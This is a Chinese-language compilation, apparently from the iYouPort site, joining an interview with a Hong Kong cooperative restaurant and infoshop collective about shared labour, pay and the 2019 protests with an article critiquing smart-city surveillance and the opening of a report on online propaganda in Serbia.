D：我们确实有不同的角色，但角色分配不是太固定。例如，没有洗碗的职位；这项任务由当晚在厨房工作的所有人共同承担。没有严格的分工，有时会导致我们之间的关系紧张。如果有人不够积极主动，他们可能会因为休息时间太长而被骂。

N：是的，只是不同的人有不同的工作节奏。例如，我不喜欢在前面，因为我不喜欢与人交流（笑），所以我大部分时间都在做饭，但如果我看到所有的碗都堆在一起，没有人打理，那会让我很分心。因此，当我为人们做完一轮主菜后，我会去水槽洗所有的碗。在这期间，有人可能坐在外面休息和闲逛，这可能会让还在工作的人产生一些敌意。我们不会消极怠工，只是暂时不和他们说话。

我们没有职场政治 —— 你会生气，但情绪是你最好的朋友。在晚上结束的时候，在我们洗完碗，收拾好地方，上楼去信息商店坐坐之后，我们就会争论不休。比如，“你他妈的刚才在做什么？我不想在你值班的时候洗所有这些盘子，你有什么问题吗？” 但是，也许那个人正处于生理期，突然感到疲惫和不适。

一旦你理解了他们的情况，并表达了一切，把你的挫折感发泄出来，你就会试着理解那晚发生的事，以及那晚大家的感受。这完全没问题。在某种程度上，这就是我们如何体现我们的信仰的方式，但这对我们来说很容易，因为我们也彼此亲近，我们关心我们每个人所经历的事，支撑我们的东西比低效的晚餐服务更重要。

Y：另一件事是，我们每周都有一个名册，每天至少应该有三个人报名。很多时候，每个人都应该在周一晚上之前填好名册，如果没有人报名参加周二的名额，有人就会很生气，和那些不想明天工作的人争吵。还有一点，因为我们的其他工作没有收到大笔的工资，所以我们每个月在支付房租和水电费后，会把从 So Boring 赚来的钱分给大家。如果有人需要更多钱，任何人都可以说出来，但很难讨论每个人需要什么。聚集在 So Boring 外面的集体。照片由黑窗提供。

N：比如说，在支付了房租并支付了水电费用后，假设我们还剩下14000块，由十四个人分享。严格来说，每个人可以拿1000块，但是…

D：有些人的工作天数比其他人多。但后来，有人因为特殊原因，当月需要更多的钱。比如，他的妈妈受伤了，他需要钱来治病。但他并没有就此进行沟通，他只是说，“这个月我需要更多的钱”。

N：是的，也许那个人会说，“我想要两千美元，但我整个月只工作了一天”。小组中一些人的自然冲动会是，“你工作了一天，却要比别人多一倍的钱？” 但是，基于我们的信仰，这不应该是什么问题。如果其他人对他拿更多的钱没有意见，那么他就应该拿。

D：如果我们知道他为什么要求这么多，那就更容易了，那个人也会感到工作这么少，要求这么多的压力。如果他能更好地沟通，事情就会更容易，大家都会更舒服。

然后在天平的另一边，我们会有一些人，他们工作很多，但有他们还有另一个收入来源。他们会说，“我不会拿任何钱。有人想拿我那份钱吗？你可以拿”。我花了那么多时间做饭，所以我通常会比大多数人拿更多。所以，金钱创造了所有这些种类的非常愚蠢的情况。钱的

价值与 … 我的意思是，它是劳动时间，你知道吗？所以，我们总是会在某种程度上被这种观念所束缚。

LC: 当你的餐馆—信息商店在那里经营时，你与油麻地的居民以及餐馆的顾客的关系是怎样的？

D：我想说的是，与附近的不同人的关系可能很随意。每天下午，当我们还在准备食物时，楼上老人院的一些人就会下来，他们就坐在我们厨房外面的椅子上，抽着烟。我们会互相交谈，给他们提供汤，作为交换，他们会给我们一些烟。住在我们巷子里的人也会下来吃饭，和我们谈论食物和其他事。还有一个在街角收集纸盒的女人，她会给我们很多水果。她会从水果批发市场收集那些几乎快要烂掉的水果，所以她会从中选择好一点的，给我们，比如，一盒小樱桃番茄和葡萄。

N：在新的空间里，在我们旁边的一个很小的空间里有一个修鞋的老人。我们的一些朋友在我们的新空间外面的木板上做了涂鸦，我们的新空间还在装修中。涂鸦上写着：心静自然凉（平静的心让你保持冷静）。有一天，那个老人走过来，说："心静自然凉？我人生咁痛苦，点可以心静□？" ("心静自然凉？我的生活如此艰难，我的心怎么可能平静？") 我已经干了一整天的活，真的很累，但我就是要问他，"你的生活有那么难吗？"他就说，"是啊！"，然后继续给我讲他的生活史。我还得把墙刷完。看来在接下来的几周里，还会有很多这样的经历和他在一起（大家都在笑）。

D：我们无法真正计划控制我们如何与其他人建立关系，因为每个人都有不同的气场、节奏和个性，这决定了我们如何与他们沟通，以及我们与他们的关系是什么样的。

Y：尽管我们意识到深水埗的士绅化，并想知道我们能做些什么，并不是说我们能以任何重要的方式来对抗这一现象，但我们不是以直接潜入社区工作的心态搬到深水埗的。我们还没有真正了解到被批评为进一步推动士绅化的"文青商店"为该地区做了什么，或者我们的工作与当地人的关系是怎样的。正如我们在油麻地所做的那样，我们将随意地在深水埗定居，看看我们与那里的人的关系如何能够有机地发展。

LC：你们是如何处理*2019–2020*年的香港抗议活动的？

N：这就是我们在晚餐时谈论的内容。一直追溯到第一个问题，当我们在"占中"时，我们会看着所有这些斗争在世界各地展开。例如，

在希腊的 Exarcheia，Alexis 被杀后希腊全国性的起义 —— 我们会看着那里的发展，我们会想，“香港什么时候会发生这种情况？”

然后在2019年出现了这种巨大的爆发。我觉得，很多时候，人们并没有把斗争 —— 发生在街头的战斗 —— 当作一个目的本身。人们会对是否有摄像机来记录正在发生的事很敏感，这样就可以通过媒体来折射，并传送给海外的观众—— 它的框架是，如果发生了灾难性的事，整个世界都会知道。也许香港会发生人权危机，然后外国政府就会被迫对共产党采取行动 …… 这也是所有特朗普的东西的来源，因为人们喜欢说“哦哇，特朗普对中国采取强硬的立场咯”，即便如此这些也仅仅在表面上而已。

【注：这与我们一直强调的立场非常一致，即，如果你只是在等待所谓的“外援”，一切都无从实现。更多见《打破 Matrix 的路 ~ 与IYP对话2020：关于中国和美国》。】

> 我们想开辟一个空间，并想思考如何维持这种让人们聚在一起的精神。

因此，一方面，人们在街上为自己采取行动，但另一方面，在它的背后，人们有一种感觉，最终不是我们能够创造 …… 正如沃尔特·本雅明所说，最终不是我们能够创造一个真正的紧急状态；我们需要一些更大的力量的干预 —— 显然，这不是我们的观点。比方说，美国和中国之间发生了一些世界末日般的战争，美国赢了，共产党被解散了。这与我们没有任何关系。对我们来说，什么会构成真正的胜利？我们关心的是，正如你在我们的 **Indiegogo** 筹款活动中引用的那样，建立我们自己的能力，能够自己控制被剥夺的生活—— 学习如何确保我们自己的食物充足，并建立我们自己的空间。我们获得了所有这些已经被商品化的和被从我们身上夺走的能力。我们想发明和阐述一种完全不同的生活形式。这将是对我们来说真正的胜利。而有时在香港，似乎目标是“我们必须不择手段地阻止共产党的威胁，任何能够干扰和推翻共产党的东西都是我们必须支持的” …… 我并不是说这占大多数。

Y：我们认为2019年的运动的某些方面真的很棒。许多人会自我组织 —— 从组织校车团队、资源分配网络，到这些天给被监禁的活动家写信。我们可以看到在过去的两年里，这种走到一起做事的方向在更大的范围内发生。当在这种情况下有需求时，每个人都认为他们可以为满足这种需求而努力。我们想开辟一个空间，并想考虑我们如何能够维持这种走到一起的精神。我想说的是，有很多不同的人在尝试各种不同的事，所以我想我们的小组只是这个自治网络星座中的一个节

点。

N：这些自主活动一直在发芽，并在今天继续开花结果，这真的很了不起。但我对他们的框架和庆祝方式感到非常矛盾。在过去两年中展出的香港人的能力并不是一直潜藏在人们心中的东西，就好像“香港人的精神是互相帮助”。这不是某种民族特性。同时，我们必须为这些活动感到自豪，但绝对不是以爱国的方式为之自豪，特别是当它被消极地定义为“香港不是中国”时，因为这不是一个积极的特征。这就像说，“我不是边境另一边的那些白痴或被洗脑的无人机”。这不能成为我们定义自己的方式。

【注：这个问题很重要，不仅从香港的角度上。我们在2019年底的访谈中讨论过这个问题，见《“成为你想要在这个世界上看到的改变”：与IYP下午茶》。】

我们必须找到一些其他的方式来评价我们的英雄活动，并为之自豪，而不被吸收到民族主义的框架中 —— 这一点相当棘手。我们能做到这一点的唯一方法是，能够看到平行的或相似的活动也在世界范围内大量涌现。像我们这样的人正在到处做的事，我想这是我们的空间的一个非常重要的东西。

【注：这正是为什么IYP一直在介绍全球的反抗行动；当然，吸取经验具有同等的重要性。】

如果你说信息商店，它们正是关于传播这种信息的。如果乔治·弗洛伊德的起义在香港是以这样一种方式编码的，香港人就会说，“黑人无产者—— 他们反对特朗普。他们会伤害我们的事业！”或其他的类似的话，这完全就是白痴。但是，如果香港人有某种方式理解他们的活动与美国人产生的共鸣，那么香港人就会更容易抵制这种沙文主义的冲动。要知道我们都是无产者，在街上打拼。

Y：从2019年到现在，也许运动中有很多我们不同意的东西，比如它的排外取向和为了团结而普遍容忍排外。但是我们可以看到有一些事让人们修改了他们的想法。我感觉到一些不同的东西，特别是围绕12名逃亡者案件的讨论，以及今年的六四事件。有一位大陆律师在帮助那十二个想逃到台湾但被逮捕并被带到大陆的人。虽然这十二个人中有一些是本土主义者，但他们仍然接受了这位律师的帮助并与他合作。一些香港人开始意识到，大陆的一些人实际上会站在我们一边。

至于今年的六四，政治局势已经到了可怕的地步，那些曾经鄙视过支联会的人也不会太过糟糕 —— 不是说他们会同意。许多从2019年抗

议活动出来的人没有想过政治，也没有参加过任何社会运动。现在他们获得了一些经验，也许他们的思维会有一些转变。 …… 如果有一个中心，一个人们可以互相接触的地方，那么我想这将引导出不同种类的思想交流。虽然我说不好最终会是什么样的结果。我们新空间里的信息商店会比 So Boring 里的信息商店更容易接近。只会来吃饭的人可能不知道我们是做什么的，但我们会保持社交媒体的存在，希望人们在来之前能够对这个空间有更多的了解。

D：我们也会组织一些活动，这些活动会在楼上的信息商店进行，我们想象那些只是来吃饭的人会变得好奇，并上楼去看看信息商店的情况。但是，是的，就像Y所说的，在2019年之前，很多人或多或少都是白纸一张，对政治事务一无所知。也许他们现在更愿意听不同的东西，并对不同的说法作出判断。由于没有大的平台，人们不得不主动做出自己的判断，这比2014年那会发生得更多。如果你在谈论香港人的积极身份，也许会有更多这样的谈论 —— 比如说，为某件事而一起奋斗和斗争。

该集体目前正在举行筹款活动，以帮助重新开放他们的空间。这些是您可以捐赠的方式：

• Indiegogo Crowdfunding (English)

• Collaction 眾籌 (Chinese)

• Payme (Blackwindow Coop)

• Bank Transfer: 040–760–15813122 DAH SING BANK

For other ways to donate, please contact them on Facebook or Instagram.

Building the bases for a different life

原文

“智能城市”究竟是个什么鬼？！ - iYouPort

无处不在，无处可逃-所谓的“智能”是什么长读

如今很多人都知道了，“智能城市”和全方面的侵入性监视之间没什么不同。但究竟被监视的都是些什么内容？要多丰富的数据才能把 IBM、谷歌等监视资本主义巨头美成那样？以及我们可以怎么办

“智能城市”只是一个营销术语，用于定义技术的使用—— 特别是数据收集技术—— 他们告诉你，这是为了“改善城市的运作”。就像扎克伯格告诉你：“监视资本主义是为了改善服务质量”。智能城市所基于的理念是，“地方政府对城市居民了解得越多，他们提供的服务就越好”。然而，现实情况是，该营销术语对于从公司到政府的不同参与者来说意味着不同的事物。

世界银行提出了智能城市的两种可能性定义。第一个是“ 技术密集型城市 ，无处不在的传感器和高效的公共服务，这得益于数千个互联设备实时收集的信息。”第二个是“ 一个培养公民和政府之间良好关系的城市 ”—利用现有技术。他们依靠公民的反馈来帮助改善服务提供，并建立收集这些信息的机制。“你信吗？相信政府在全心全意为人民服务？即便是民选政府也应该随时接受人民的监督，而不是寄希望于他们主动正义。权力集中的结果只能是权力滥用。

另一方面，大型科技公司也给出了关于智能城市的定义，例如 IBM 的“城市工作新方式”、或西门子的“ 露天电脑 ”。

智能城市项目的范围从小型初创企业创建的应用程序（例如本地服务级）到非常广泛的基础设施，由 IBM，Oracle 和 Microsoft 等公司设计，集中收集公民数据并提供城市数据分析服务。所有这一切都共同依赖于数据：无论是生成和收集数据还是基于已有数据提供服务。

智能城市是如何发展的？

虽然智能城市极为多样化，但它们最常用于三个部门：运输、能源和健康。看起来没什么要命的？恰恰相反，这三点足够控制住你的整个

人生。

——运输——

由英国商业创新与技能部委托编写的一份研究论文将智能交通系统描述为“通过信息收集、存储、操控和随后的传播，为旅行者/客户提供附加价值、引导、提高安全性或效率“。

智能公共交通项目通常很大程度上依赖于“智能卡”。智能卡是旅行通行证，其中集成了电路。这种东西是识别个人身份用的：要么是因为必须以您自己的真实身份注册它们（如巴黎的“ Navigo ”卡），要么是因为它们可以通过其他方式追溯到您的真实身份—例如，需要您使用信用卡充值。

今天，智能城市的发展进一步向“一卡通”迈进了。人们现在可以使用非接触式信用卡或智能手机支付伦敦或北京等城市的公共交通工具，或者以其他形式关联身份，如布宜诺斯艾利斯市的学生证。与系统地收集公共交通数据一样，越来越多的城市也在开发自行车共享计划。中国有什么大家都知道，在纽约，Citibike 一直在分享他们收集的自行车用户数据，从而揭示收集到的数据的范围：旅行持续时间; 开始和停止时间，日期和地点; 性别和用户的出生年份等等一大堆信息。

智能城市也在收集道路使用者的数据，使用电子收费来检测汽车何时开车。

⚠ 在这样的城市里，你的一举一动都在监视者的掌握之下，你去了哪里、见了谁、持续多长时间等等，显示你的社交关系图谱；你最喜欢去哪里、多久去一次，显示了你的偏好兴趣，这些数据汇总起来就可以全面操纵你了。在这样的地方，汽车和自行车都不再能够帮你逃离危险，反而帮助了追踪你的人。当中国的共享单车出现时，人们在讨论路权、道德问题等等，是的这没错，但却忽略了其支付方式的危险—— 辅助监视定位的能力，实在不应该。

——能源和水——

能源和水管理技术已经在开始实施了，以优化能源使用并更好地了解需求和供应。能源管理技术的范围从智能电网—由国家实施—到家庭能源管理系统—也称为智能电表。智能电表允许各国获取更多数据，以帮助他们管理储能，并帮助他们解决能量损失和停电的问题。允许公司减少计费错误，并为客户提供更便宜的能源交易。

⚠ 但是，持续监控您的能源消耗也意味着国家政府、您的能源供应商以及服务供应链中的任何其他第三方，都知道您何时在家、您什么时候醒来，上床睡觉之前是不是喜欢淋浴或泡澡……根据这些数据，可以推断出更多关于你、你的家人和你关系网络中的其他人的情报，例如关于宗教信仰及活动、你家庭的组成等等一切。

这些数据足够做出几万字的社交工程攻击演示。你将遭受什么样的攻击和操纵，取决于你的数据最终落在谁的手里。

——智能健康——

技术和数据收集也被用于让老年人留在自己的房子里而不是搬到养老院去。欧盟是鼓励发展“辅助生活”的机构之一。老年人被要求佩戴可穿戴式皮肤接触设备，将有关其健康的信息（心率、血压等）传递给医疗中心，以便专业人员可以在患者面临风险时立即提供帮助。这些技术还可以检测出可能非自主的人何时离开家、在哪里迷路。放置在房子周围的监视设备能检测到一个人是否摔倒……

在新加坡，作为所谓的“智能国家”计划的一部分，一些老年人的公共管理住宅周围都安装了传感器。这些监视设备能监测到老年人什么时候停止移动，甚至监控他们是不是定时上厕所！

也许你家里有老人，你会担心他们的安全，这完全是可以理解的。但是你有没想过，这些监视数据不是由你—亲人—来掌握的，而是政府部门和技术公司。

⚠如果你被当局瞄准了，他们却无法直接令你妥协的时候，你家老人的一举一动就将变成操控你的杠杆。中国人大多明白这意味着什么，尤其是被当局骚扰过的人。

「图」

「图」

谁建造和供应智能城市？

智能城市是公共和私营部门之间合作的结果—— 公司监控伙伴关系的合法化。

虽然智能城市的资金和倡议往往来自地方政府，希望“改善城市”，但国家政府有时可以成为领导其发展的关键力量。例如，在印度，政府启动了一项计划，即“智能城市使命”，在全国范围内开发了100多个

智能城市。

此外，地方和国家政府也不是唯一参与这一领域的权力，这种大规模监视的营销参与者还包括欧盟、联合国和世界银行等超国家机构，使用所谓的“利大于弊”的理想化。于是这事儿就严重了。成为了一个已经很难避免的趋势。

更要命的是，无论是中央政府还是地方政府或超国家机构，往往都缺乏内部专业知识和资源，因此他们必须依靠私营部门来设计、实施和维护设备、系统以及基础设施，以促成这些智能城市举措的建立。

然而，公司不仅是推动者和提供者，而且他们也运行他们自己的角色。

虽然提供集成到智能城市的服务的公司多种多样，但值得注意的是，提供数据处理服务的大型企业（如 **IBM**，**Alphabet** 谷歌母公司，微软和甲骨文）如何推动智能城市背后的叙述，这些叙述专注于增加数据的生成、收集和处理。

」 **IBM**：IBM 最初创造了“智能城市”这一营销术语。凭借其智能城市挑战计划，该公司已经开发了诸多他们的城市化愿景—基于数据集中化，甚至目标是遍布全球。从那时起，该公司已成为市场中最大的参与者之一，预计到 2020 年其规模将达到近 1.56 万亿美元。

IBM 对“智能城市”的设想是以数据为中心的。根据公司材料，它依靠传感器—能够检测环境变化的电子元件，如温度、运动、光线和声音—放置在整个城市，为市政府的使用创建数据。放置在传输交通流量的高速公路上的摄像机和实时记录水和能源使用的数字仪表（也称为“智能仪表”）是 IBM 提供给当地政府可以使用的数据类型的两个例子。

生成并收集这些数据后，IBM 提供数据分析，以便城市办事处“识别趋势和模式”。然后使用仪表板、可视化和警报在政府机构之间共享信息。

「图」

「图」

「图」

「图」

类似的运营中心现在已经由其他公司在不同城市建立，再现了最初由 IBM 设计的概念。在雅加达，智能城市休息室是一个城市管理空间，包含一个监控室，类似于里约运营中心那样。 这些集中监控室不止收集数据、还会对这些数据进行分析，能在问题发生之前预测问题——就是“少数派报告”的现实版。

「图」

「图」

在菲律宾，当市政府与 IBM 签订合同时，总统罗德里戈·杜特尔特（Rodrigo Duterte）的女儿萨拉·杜特尔特（Sara Duterte）自称为该智能城市市长。

在新加坡，政府目前正计划与法国软件公司 DassaultSystèmes 合作创建 Virtual Singapore，以实现“城市仪表板”的下一步。该平台不仅会使用传感器和摄像机汇总来自该市的所有数据，还允许政府官员深入公寓，理由是“分析其能耗并检测可能的气体泄漏情况”。传感器和摄像头将允许政府追踪在新加坡驾驶的每一辆车，并且还允许他们控制人群并进行实验以预测流行病和自然灾害或灾难。政府甚至能够通过监控抓到从高层建筑乱扔垃圾或在禁区内吸烟的人……这些高度侵入性的监控很少能真正实现利他主义。

物联网（IoT）正在改变智能城市的本质。这是连接到互联网的对象的开发和扩展。电脑和手机不再是访问互联网的唯一途径。现在这个监视网络还连接了手表、冰箱、婴儿监视器、电视、甚至牙刷和烤面包机。物联网深深影响了智能城市计划的构思。每个连接对象都成为了当地政府可能利用的数据来源。人们随身携带的手机、有时候是手表都是监视器。在 IBM 对雅加达智能城市的描述中，该公司甚至称将公民称作为“行走的传感器”！

对 IBM 说了很多，主要因为它是这一营销概念的创世者，其他公司也正在加紧跟上。

」 甲骨文：甲骨文的首要任务是建立一个“有感觉的城市”，一个高度依赖开源智能的城市。他们的宣传册清楚地表明：“甲骨文的智能城市平台提供了收集公民、企业和测量设备等所有类型反馈的方法。数据、测量、消息和事件均来自高科技设备网络，从智能电网中检索，由传统仪器和创新传感器采集。该平台可以自动将这些现实与从社交网络中检索到的更为模糊的信息结合起来。“监视 O2O。

」 日立：日本公司日立现在正专注于智能城市，并一直在收购像 Avrio 和 Pantascene 这样的小公司，以确保他们能够为传感器和视频等智能城市独立提供所有必需技术。

」 **Sidewalk Labs**：Sidewalk Labs 是 Google 的母公司 Alphabet 的子公司。2017年10月，他们宣布了重建多伦多12英亩海滨的项目。正如我们早前分析的，谷歌对中国的垂涎并非什么搜索引擎市场，而是智能城市，准确说是庞大的数据。

」 微软：微软依靠与其他公司的合作伙伴关系来提供智能城市基础设施。在印度—该公司正在集中精力创建智能城市和帮助私营公司—他们推出了一项智能城市计划，以赞助有希望在该领域工作的有前途的本地初创企业。

已经建立的智能城市都有哪些？

——雅加达——

雅加达智能城市计划于 2014 年启动，并且是作为 2012 年就开始的更广泛的政府工作的一部分。该市有一系列目标，到 2025 年将实现的目标分为五个类别：智能生活，智能移动，智能治理，智能经济和智能人才。

雅加达智能城市计划非常依赖于一个名为 Qlue 的应用程序—由同名公司开发。 Qlue 可在手机上提供人们所面临问题的报告：从废物处理到破碎的路灯或者交通拥堵等等。政府使用由印度尼西亚官方谷歌云合作伙伴 TerraLogiq 设计的 CROP 程序回应报告。印度尼西亚政府已委托 IBM 公司来分析公民使用 Qlue 的数据。

但是，**Qlue** 已经成为了监控城市工人潜在负面影响的工具。公民反馈该技术被用来评估城市工人是否有效率（工作是否努力），城市可以在此基础上判断是否解雇工人。仅此一点就留下了滥用的空间，因为恶意者可能会发送大量报告和负面反馈以令员工被解雇—— 就像网络水军利用 Twitter 和 Facebook 的举报功能促使社交媒体封锁异议人士那样。

曾经有报道指，一名 Qlue 用户反复发送多份琐碎事件的报告—污水中的塑料袋、丢失的钢笔等等—以便该分区被显示为一个有问题的地区。后来才知道该用户原来是分区选举的候选人。

——里约热内卢——

里约热内卢 2010 年就成为了 IBM 签约的旗舰城市。IBM 还是警务基础设施的提供商，并为执法目的设计数据分析软件。

智能城市技术—包括 CCTV 交通网络—都集中在城市较富裕的地区。因此，城市管理者更多地在更富裕的地区进行干预—他们从中获取数据—而不是更加贫困的地区，从而加剧了已经存在的不平等。里约行动中心还揭示了建立一个日益受到监管的公共空间的危险，在对指挥与控制综合中心（里约的另一个“控制室”）的工作人员进行采访发现，里约的许多紧迫的社会和安全问题—— 这座城市正在遭遇洪灾和世界杯前的抗议活动，多次遭到暴力镇压。

——菲律宾——

菲律宾的达沃市是另一个案例，智能城市倡议已经导致一个更加苛刻的监视城市的形成。建立运营中心后杜特尔特总统祝贺他的女儿也就是该智能城市市长 Sara Duterte 购买了一套“先进的监控和警务系统”，其 CCTV 摄像头据称帮助警方抓到了一名达沃商人。 该监视系统的效率已归功于 IBM 的设备支持。

与此同时，达沃市也被目睹了对政治异议的严重压制以及安全部门高度的法外杀戮和滥用行为。罗德里戈·杜特尔特早早已常因其政府骇人听闻的人权记录而受到批评。

——印度——

印度的现实反映了当前对智能城市项目的普遍担忧：这些城市在营销期限之外会是什么样子？这些城市实际上是在为谁服务？

2015 年，莫迪启动了一项计划，在印度建立 100 个智能城市。根据在线媒体 Scroll.in，印度标准局最初试图创建一个可居住指数来评估应该为一个城市提供的服务和基础设施。该委员会设计了包括经济在内的各个部门的指标，教育，能源，环境，健康，治理，运输，住房和安全……对于每个指标，都规定了如何衡量数据的方法。

然而，智能城市举措可能会增加弱势群体被边缘化的现状。例如，据报道，古吉拉特邦的土地被强行收购，用于为富裕的投资者和居民建设智能城市。就像中国发生的事那样，工人阶级社区已经被从中心区迁移出去，街头小贩也被赶出了公路。然而，根据一些报道，正是他们的存在确保了妇女出行更加安全。

——中国——

中国已经成为全球智能城市建设最为积极的国家之一。近年来，智能城市已上升为北京的国家战略，随着政策红利的进一步释放、资金的大量投入，智能城市产业正在变成一块越来越大的肥肉。

2015 年，中兴通讯的智能城市项目就在银川启动：银川市民大厅——这座巨大的、现代化的市民大厅实施全数字化管理，被称为“电子政务的典范、简便市民生活”。该公司给 100 余个中国城市配备了所谓的智能城市技术，整体形成大规模监控。

中兴不仅向超过百个中国城市卖出了智能城市运营平台，也把产品卖到了尼日利亚、加纳和阿尔及利亚等地。法国的马赛和东南亚国家印度尼西亚也是中兴的客户。

去年底，多家美国科技巨头和中国国有企业齐聚深圳参加第十六届中国国际公共安全博览会（简称：安博会）展示大规模监控领域的未来，这些企业都想在全球最大的监控设备市场分一杯羹。

两年前，中国监控市场的规模就达到了64亿美元，政府希望在中国蓬勃发展的技术产业的帮助下，建立一个规模庞大、规模空前的国家监控系统。估计到2020年，中国将安装近三亿个摄像头。中国官方媒体引用的一位“专家”的说法，中国警方在未来几年里将在提升跟踪活动的技术能力上再花 300 亿美元。

> 政府声称他们正在创造智能城市以提供更好的服务质量，然而，如果公众不参与讨论，他们是在为谁制作智能城市？

曾经我们的行为只能在我们在线时被跟踪，而现在我们面对的是永久的监视。

越来越多的监控不仅发生在公共场所，也发生在私人空间，就如新加坡做的那样，无线传感器已经被安装在老人家中，用于监控居民的移动、睡眠模式甚至浴室的使用情况。中国很快也会实施，鉴于中国的老龄化问题，当局有充分的理由这样做。

Blum-Dumontet 在报告“ 智能城市—乌托邦视野，反乌托邦现实 ”中写道：“虽然这些举措有明显的预期积极目标，但它们也具有高度的侵入性，并且很可能会滥用或转向较少利他的目的。”

对于人权记录不佳且没有保护公民数据的法律框架的国家公民来说，思考这些问题尤为重要。“老大哥”效应并不仅限于专制政权。即使在

人民有权抗议和组织的民主国家，智能技术也会侵蚀人们的异议能力。就如在美国和英国发生的事那样。

而且，对智能设施的担忧已经超出了他们可以跟踪我们的行为这一事实。如今人们越多地使用自动化对象取代非自动化对象，就越容易受到恶意软件攻击，数据泄露，勒索软件，物联网僵尸网络拒绝服务攻击。只要你拥有一个操作系统，现在大多数是 Android，iOS 或微软，你就会受到相当常见的攻击形式的影响。

通过智能传感器和摄像头检测市民的一举一动，并收集大量数据，如果这些数据落入恶意者手中、骇客会劫持我们的智能基础设施，那会发生什么？

曾经发生的诸多网络攻击表明，即使是最高科技的基础设施也是如此脆弱。例如，2014 年韩国一家核电厂运营商的计算机系统遭到破坏。虽然当局坚称没有关键数据被泄露，但事件引发了严重的安全恐惧。

如上，所谓的智能城市的趋势很可能已经无法扭转，但技术进步永远不能以剥夺人权为代价。我们需要将个人需求带回城市的核心，当考虑城市化时，需要重点考虑的是解决方案如何影响人们对权利的享受，例如避免歧视的权利，行动自由，隐私，集会或言论自由等。

城市应该为每个人服务而不是为政权服务，为此，决策过程应该是开放、透明和包容的，法律和道德义务涉及所涉及的行为者。各国政府应寻求公民、民间社会以及技术和安全专家、学术界以及私营部门的投入和专业知识。在提出解决方案时，隐私部门应确保进行彻底的问题分析和需求评估，并尊重基本的基础数据保护和安全标准。促进并资助此类举措的其他参与者有责任确保他们这样做。

如果做不到，没有法律保护、没有公民社会揭露，那就必需发动民众一起来抵制这些项目。没有别的办法。

原文

LR ＜可视化信息战＞ 第 1 部分：在线媒体上的政治宣传、压迫和攻击 - iyouport

你的反乌托邦在线生活阴云密布开源情报-每个人都可用的武器长读

至少 3 个已知的工具，用于虚假评论和对大众的操纵在全球政府争先恐后地对人民的大脑实施认知营销战略时，分析它们的模式，你能清楚的看到，不同国家的数字巨魔正在互相借鉴，其中两大模式是被借鉴最多的，即 俄罗斯和中国。本报告尝试以可视化形式呈现 在线信息争夺战 的三个领域（内容、评论和投票）以及可被描述为反向审查的方法

> 纵观历史，传播和信息一直是权力和反权力、统治和社会变革的根本源泉。这是因为在社会中进行的根本性战斗是对人心的斗争。人们思考的方式决定了社会建构的规范和价值观的命运—— *Communication, Power and Counter-power in the Network Society, Manuel Castells*

我们的故事是从一场暴风雪开始的。一长串汽车在路上被封堵了数小时。天气很冷，汽车里的人开始恐慌。响应团队还在拼命的忙，但车子仍然没有动起来，难以清除积雪路障。就在那一刻，一架军用直升机抵达了。一个连帽子都没戴、只穿着单薄牛仔裤的男子跳到暴风雪的中心，带上一个孩子，努力让他穿过深雪和强风，把他带到直升机上。这名男子即将成为塞尔维亚总理，这将是他为竞选这一席位所做出的最令人难忘的英雄行为之一。

如果不是公共广播公司（RTS）的工作人员早已架着摄像机等在那里才发生的这一“英雄行为”，那么一切都会很棒。简单说，如果这个英雄行为更像是一个真实的生活状态而不是电视节目，一个持续的、永无止境的景观、一个由图像介导的人与人之间的社会关系，一切都会很棒。这将持续多年。

想想中国的画面？走进民宅，掀起锅盖……

该视频被广播为国家电视台的头条新闻，并在其官方 YouTube 频道上传。这基本上就是我们的故事真正开始的地方。上传的视频成为了众多转载的材料，主要是将 PM 作为一个“值得大众崇拜的超人”。

但在某一刻，所有这些视频开始从 YouTube 上消失了。2014 年2月举行的这次活动是新成立的 SHARE 小组防御人员的第一个案例，这是由一群律师、网络取证和政策专家组成的队伍，负责监督、协助和研究在线领域侵犯我们权利和自由的案件。

隐性网络干预主义的政治

正如媒体理论家 Manuel Castells 所描述的那样，我们不应忽视最古老、最直接的媒体政治形式：宣传和控制。这是：

- 捏造事实并诱导错误信息，以促进政府利益的信息的制作和传播;
- 对任何被视为破坏当权者利益的信息进行审查，必要时将不受阻碍的通信定为犯罪，并起诉传播者。

并且，如今，政府正在尝试更复杂的方式来进行更难以被发现和记录的[互联网]审查、宣传和大众控制。本文的目的是根据我们的经验检查其中的一些操纵方式，我们相信，它们一直在全球范围内被以类似的形式使用或可以使用。

从三年前的“超人案”到现在，我们已经目睹了塞尔维亚在线环境中的各种违规行为。SHARE 防御团队一直在监控的违反在线权利和自由的具体案例基本都是对内容的任意阻止或过滤、对在线公民媒体的网络攻击、针对社交媒体用户和博主的逮捕和司法诉讼、通过使用不同的技术工具操纵公众舆论、拦截和监视电子通信，侵犯隐私权和滥用个人隐私数据; 压力、威胁和降低在线公民记者和个人的安全。团队在近三年内提交了 300 多个不同的案例，并创建了一个监控数据库，作为此分析的基础。

我们对此分析的主要兴趣是尝试探索不同政治行为者或权力结构可用于控制和征服在线领域的干预形式和方法。在这里，我们将主要谈论隐蔽的、间接的行动，来自未知行为者的干预，具有隐藏或伪造身份的个人，与政府官员没有明显联系的公司，政治巨魔军队和巨魔领主，甚至是“人造”实体。

本文将尝试量化和可视化其中的一些形式，并尝试检测和理解某些模式。

– I—无休止的在线媒体真人秀节目

根据媒体理论家 Douglas Rushkoff 的说法，我们生活在令人震惊的时代。我们以闪电般的速度同时从多个来源获得的大部分信息是如此的短暂，在它到达我们意识时已经变得陈旧。一切都是现场、实时和永远在线。这就是叙事结构陷入永无止境的真人秀的原因。

在这个闪烁的真人秀节目中，单条信息的生命周期都非常短。以塞尔维亚为例，在线媒体的新闻平均寿命在一到两个小时之间。在前两个小时，新闻被评论和分享，然后它就会在大量内容中消失，被另一个短暂的新闻所取代，可能永远不会被再次看到。互联网无国界，事实上全球都是如此。*Source: Share Foundation—Monitoring of online and social media during elections (in Serbian)*

在这个持续的开放式真人秀节目的，成千上万的短暂新闻，有自己的演员和主要地点。在我们的案例中，我们所拥有的是对一个主要演员，一个政治人物（Aleksandar Vučić，塞尔维亚总理，也就是我们故事开头的“英雄”）一个城市的统治，这个真人秀节目的位置是贝尔格莱德。在选举期间监控在线内容和社交媒体（塞尔维亚语）

根据我们的研究，这位至高无上的领导者到目前为止一直扮演着主导角色，在一天内 10 个被检查的在线媒体上他出现于 40 多个新闻标题中。无数的媒体声明和会议、采访和现场表演，正在加速他在我们的信息流中不断存在的节奏。

